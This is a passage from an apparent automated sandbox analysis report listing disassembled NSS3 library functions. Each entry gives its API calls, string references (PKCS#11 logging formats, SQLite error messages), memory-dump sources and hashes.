Part of subcall function 6CC95920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CC97703,?,00000000,00000000), ref: 6CC95942
Part of subcall function 6CC95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CC97703), ref: 6CC95954
Part of subcall function 6CC95920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC9596A
Part of subcall function 6CC95920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CC95984
Part of subcall function 6CC95920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CC95999
Part of subcall function 6CC95920: free.MOZGLUE(00000000), ref: 6CC959BA
Part of subcall function 6CC95920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CC959D3
Part of subcall function 6CC95920: free.MOZGLUE(00000000), ref: 6CC959F5
Part of subcall function 6CC95920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CC95A0A
Part of subcall function 6CC95920: free.MOZGLUE(00000000), ref: 6CC95A2E
Part of subcall function 6CC95920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CC95A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4EB3

Part of subcall function 6CCA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCA4EB8,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA484C
Part of subcall function 6CCA4820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CCA4EB8,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA486D
Part of subcall function 6CCA4820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CCA4EB8,?), ref: 6CCA4884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4EC0

Part of subcall function 6CCA4470: TlsGetValue.KERNEL32(00000000,?,6CC67296,00000000), ref: 6CCA4487
Part of subcall function 6CCA4470: EnterCriticalSection.KERNEL32(?,?,?,6CC67296,00000000), ref: 6CCA44A0
Part of subcall function 6CCA4470: PR_Unlock.NSS3(?,?,?,?,6CC67296,00000000), ref: 6CCA44BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA4F8F
PK11_UpdateSlotAttribute.NSS3(?,6CD7DCB0,00000000), ref: 6CCA4FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CCA501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CC678F8), ref: 6CCA506B

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 0f50cd8364f75356e5730f679595b12074eb1a5620a1cdec5e9ace0b1583ee58
Instruction ID: bfa8d0edde37ae280dd30149b76a69c5e79f91e46e74cd683ceaf6ed5c443fd1
Opcode Fuzzy Hash: 0f50cd8364f75356e5730f679595b12074eb1a5620a1cdec5e9ace0b1583ee58
Instruction Fuzzy Hash: 6B5104F2D006029BEB019FA5EC09AAA7AB4FF1531CF044535ED0686E11FB31D516CB92

Function 6CD6ABB0 Relevance: 19.7, APIs: 13, Instructions: 173COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CD6ABD5
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6AC21

Part of subcall function 6CD170F0: LeaveCriticalSection.KERNEL32(6CD60C7B), ref: 6CD1710D

EnterCriticalSection.KERNEL32(?), ref: 6CD6AC44
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CD6AC6E
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6AC97
EnterCriticalSection.KERNEL32(?), ref: 6CD6ACBF
PR_NewCondVar.NSS3(?), ref: 6CD6ACDB
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6AD0D
PR_SetPollableEvent.NSS3(?), ref: 6CD6AD18
EnterCriticalSection.KERNEL32(?), ref: 6CD6AD31

Part of subcall function 6CD19890: TlsGetValue.KERNEL32(?,?,?,6CD197EB), ref: 6CD1989E

_PR_MD_UNLOCK.NSS3(?), ref: 6CD6AD89
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CD6AD98
_PR_MD_UNLOCK.NSS3(?), ref: 6CD6ADC5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: CriticalSection$Enter$CondErrorEventLeavePollableValue
String ID:
API String ID: 829741924-0
Opcode ID: ba650b93c5b74bb8817fa9e390a3e5c6a63208bfb98c73c585c4b275dcbcf766
Instruction ID: dc7335e16533c2c117ecfb1d0152c47489284a6996cb9565ca0fc6ed7d31700f
Opcode Fuzzy Hash: ba650b93c5b74bb8817fa9e390a3e5c6a63208bfb98c73c585c4b275dcbcf766
Instruction Fuzzy Hash: A5618EB6904610DFC7109F26D884746BBF4AF84329F268629D89957F21E731F849CFA0

Function 6CC4ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC4ACE2
malloc.MOZGLUE(00000001), ref: 6CC4ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CC4AD02
TlsGetValue.KERNEL32 ref: 6CC4AD3C
calloc.MOZGLUE(00000001,?), ref: 6CC4AD8C
PR_Unlock.NSS3 ref: 6CC4ADC0
free.MOZGLUE(00000000), ref: 6CC4AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CC4AE58
free.MOZGLUE(00000000), ref: 6CC4AE69
free.MOZGLUE(?), ref: 6CC4AE78
PR_Unlock.NSS3 ref: 6CC4AE8C
free.MOZGLUE(?), ref: 6CC4AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC4AEC7

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 7446bfb6906461746d17f3ebb08d3260969ac7a8e2fc2088a5cabd6f25341a87
Instruction ID: 7b5b1579c84d03b327d605ceae22c1d5b6e4b1d7d341fc4cdc081dcf3697857c
Opcode Fuzzy Hash: 7446bfb6906461746d17f3ebb08d3260969ac7a8e2fc2088a5cabd6f25341a87
Instruction Fuzzy Hash: 77519DB1E01116DBEB00DF99DC41AAE77B8BB86358F14C035DA14A7B10F331A925CBE6

Function 6CC8ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CC8ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC8AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AE29

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC8AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CC8AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC8AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CC8AEA0

Strings

C_MessageSignInit, xrefs: 6CC8ADE1
(CK_INVALID_HANDLE), xrefs: 6CC8AE1F, 6CC8AE80
hSession = 0x%x, xrefs: 6CC8AE01, 6CC8AE11
hKey = 0x%x, xrefs: 6CC8AE62, 6CC8AE72

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 9ccb5e5c48f11bb55574c4503da70fd3c40bd1e1823a27547415631e106d3594
Instruction ID: e54744e6014acfd599c9199562d762f1995d10111f2712b07a235cd09004057d
Opcode Fuzzy Hash: 9ccb5e5c48f11bb55574c4503da70fd3c40bd1e1823a27547415631e106d3594
Instruction Fuzzy Hash: BD31CCB2602104EFEB01DF15DC88BAF3B79AB8674DF444425E5096BB91E7349818CBB5

Function 6CC84B80 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 107COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DestroyObject), ref: 6CC84BA6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC84BD7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84BE9

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC84BFF
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6CC84C2D
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC84C3F
PR_LogPrint.NSS3(?,00000000), ref: 6CC84C55

Strings

(CK_INVALID_HANDLE), xrefs: 6CC84BDF, 6CC84C35
hSession = 0x%x, xrefs: 6CC84BC1, 6CC84BD1
C_DestroyObject, xrefs: 6CC84BA1
hObject = 0x%x, xrefs: 6CC84C17, 6CC84C27

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hObject = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_DestroyObject
API String ID: 332880674-4243883364
Opcode ID: ece9a1f739c8f6bd863a181ff133e4fdce682519765f41f782e61c0962aa25a9
Instruction ID: 5f253f40d6adb6750c1411df538d7ad95099c877492110a23acff659c215af99
Opcode Fuzzy Hash: ece9a1f739c8f6bd863a181ff133e4fdce682519765f41f782e61c0962aa25a9
Instruction Fuzzy Hash: 2431E8B2A02104EFE700DB15DD98F6F3B7DAB4274DF094025E6096BB51EB30A80CCBA5

Function 6CD24C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CD24CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CD24CFD
sqlite3_value_text16.NSS3(?), ref: 6CD24D44

Strings

bad parameter or other API misuse, xrefs: 6CD24D05
out of memory, xrefs: 6CD24C78, 6CD24C9E
unknown error, xrefs: 6CD24D56
abort due to ROLLBACK, xrefs: 6CD24D27, 6CD24D33
no more rows available, xrefs: 6CD24D2E
another row available, xrefs: 6CD24D20
invalid, xrefs: 6CD24CF1
API call with %s database connection pointer, xrefs: 6CD24CF6

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_value_text16$sqlite3_log
String ID: API call with %s database connection pointer$abort due to ROLLBACK$another row available$bad parameter or other API misuse$invalid$no more rows available$out of memory$unknown error
API String ID: 2274617401-4033235608
Opcode ID: 968a671872e941180aad2b4028969b982f8c3012db03c18618e397f3bb38a17f
Instruction ID: 9f6c7566234b3ed9e52d5493f2052303283d4d1905a56577c2dc5761a53ca8fc
Opcode Fuzzy Hash: 968a671872e941180aad2b4028969b982f8c3012db03c18618e397f3bb38a17f
Instruction Fuzzy Hash: 263186B2A09821E7E7094B2CA8107E57721BB8231CF050129CF244BF75DBADEC11D7E2

Function 6CC82DD0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitPIN), ref: 6CC82DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC82E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC82E33

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC82E49
PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6CC82E68
PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6CC82E81

Strings

pPin = 0x%p, xrefs: 6CC82E63
ulPinLen = %d, xrefs: 6CC82E7C
(CK_INVALID_HANDLE), xrefs: 6CC82E2C
hSession = 0x%x, xrefs: 6CC82E0E, 6CC82E1E
C_InitPIN, xrefs: 6CC82DF1

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPin = 0x%p$ ulPinLen = %d$ (CK_INVALID_HANDLE)$C_InitPIN
API String ID: 1003633598-1777813432
Opcode ID: 83025349de4b93072d9e8598dd06f671f55fe3bfcf70e41c5620a237bfc7fd1e
Instruction ID: c7d98e1a864132b7d4eadabfb014acf89401433a77b1e09d2ec14c3644668983
Opcode Fuzzy Hash: 83025349de4b93072d9e8598dd06f671f55fe3bfcf70e41c5620a237bfc7fd1e
Instruction Fuzzy Hash: DA31D9B5602154EFE710DB15DD5CB4B3B79EB4235DF084025E9096BB61EB30980CCBB9

Function 6CC86EF0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestUpdate), ref: 6CC86F16
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CC86F44
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CC86F53

Part of subcall function 6CD6D930: PL_strncpyz.NSS3(?,?,?), ref: 6CD6D963

PR_LogPrint.NSS3(?,00000000), ref: 6CC86F69
PR_LogPrint.NSS3( pPart = 0x%p,?), ref: 6CC86F88
PR_LogPrint.NSS3( ulPartLen = %d,?), ref: 6CC86FA1

Strings

C_DigestUpdate, xrefs: 6CC86F11
(CK_INVALID_HANDLE), xrefs: 6CC86F4C
pPart = 0x%p, xrefs: 6CC86F83
hSession = 0x%x, xrefs: 6CC86F2E, 6CC86F3E
ulPartLen = %d, xrefs: 6CC86F9C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pPart = 0x%p$ ulPartLen = %d$ (CK_INVALID_HANDLE)$C_DigestUpdate
API String ID: 1003633598-226530419
Opcode ID: 596178119166d0717e101820b74370714043249d47d966fec7044ea902cad54f
Instruction ID: 7cc7c32636619ecfe930e6f27738fbaa358477ecc169f271f5ddc283e08935c0
Opcode Fuzzy Hash: 596178119166d0717e101820b74370714043249d47d966fec7044ea902cad54f
Instruction Fuzzy Hash: 5D31F7B5612104EFFB00DB15DD48B4B7BB9AB4235DF084026E909ABA61EB30D90CCBE5

Function 6CC54880 Relevance: 18.2, APIs: 12, Instructions: 193memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC548A2
PORT_NewArena_Util.NSS3(00000800), ref: 6CC548C4
PORT_ArenaAlloc_Util.NSS3(?,000000BC), ref: 6CC548D8
memset.VCRUNTIME140(00000004,00000000,000000B8), ref: 6CC548FB
PORT_ArenaAlloc_Util.NSS3(?,00000018), ref: 6CC54908
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC54947
SECITEM_CopyItem_Util.NSS3(?,00000000,?), ref: 6CC5496C
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC54988
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CD78DAC,?), ref: 6CC549DE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC549FD
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC54ACB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaError$Arena_Item_$CopyDecodeFreeQuickmemset
String ID:
API String ID: 4201528089-0
Opcode ID: 7a0e1f5ab53fc5f456b68fbd6714da0920c187219d9ea7ab1482771f9170f3b3
Instruction ID: bef1066a862b1d0d4f680277b9ca17676dd09f2783693893afb1795056373719
Opcode Fuzzy Hash: 7a0e1f5ab53fc5f456b68fbd6714da0920c187219d9ea7ab1482771f9170f3b3
Instruction Fuzzy Hash: BE51F2B5A003018BEB50CF66DC4179B36E9AF40308F544128E929ABB91F771D4B4CB6A

Function 6CD22D40 Relevance: 18.2, APIs: 12, Instructions: 187COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6CD22D9F

Part of subcall function 6CBDCA30: EnterCriticalSection.KERNEL32(?,?,?,6CC3F9C9,?,6CC3F4DA,6CC3F9C9,?,?,6CC0369A), ref: 6CBDCA7A
Part of subcall function 6CBDCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CBDCB26

sqlite3_exec.NSS3(?,?,6CD22F70,?,?), ref: 6CD22DF9
sqlite3_free.NSS3(00000000), ref: 6CD22E2C
sqlite3_free.NSS3(?), ref: 6CD22E3A
sqlite3_free.NSS3(?), ref: 6CD22E52
sqlite3_mprintf.NSS3(6CD8AAF9,?), ref: 6CD22E62
sqlite3_free.NSS3(?), ref: 6CD22E70
sqlite3_free.NSS3(?), ref: 6CD22E89
sqlite3_free.NSS3(?), ref: 6CD22EBB
sqlite3_free.NSS3(?), ref: 6CD22ECB
sqlite3_free.NSS3(00000000), ref: 6CD22F3E
sqlite3_free.NSS3(?), ref: 6CD22F4C

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 9a68eb5cb420aae5b37a579963621dfec96c966cb7dad5f19cfcd9ff4b2084cf
Instruction ID: 7f35dffb5fa2a2a58ab6c355c18273cdc43205a3a8bbc107cb78590cec14e5a1
Opcode Fuzzy Hash: 9a68eb5cb420aae5b37a579963621dfec96c966cb7dad5f19cfcd9ff4b2084cf
Instruction Fuzzy Hash: 0C6180B5E10205CBEB10CF69D884B9EB7B1AF4836CF154024EE55A7B21E739E845CBA1

Function 6CC72C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CC73F23,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72C62
EnterCriticalSection.KERNEL32(0000001C,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72C76
PL_HashTableLookup.NSS3(00000000,?,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72C93

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23,?), ref: 6CC72CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?,?,6CC73F23), ref: 6CC72CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?), ref: 6CC72CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CC6E477,?,?,?,00000001,00000000,?), ref: 6CC72D4D
EnterCriticalSection.KERNEL32(?), ref: 6CC72D61
PL_HashTableLookup.NSS3(?,?), ref: 6CC72D71
PR_Unlock.NSS3(?), ref: 6CC72D7E

Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407AD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407CD
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CBD204A), ref: 6CC407D6
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CBD204A), ref: 6CC407E4
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

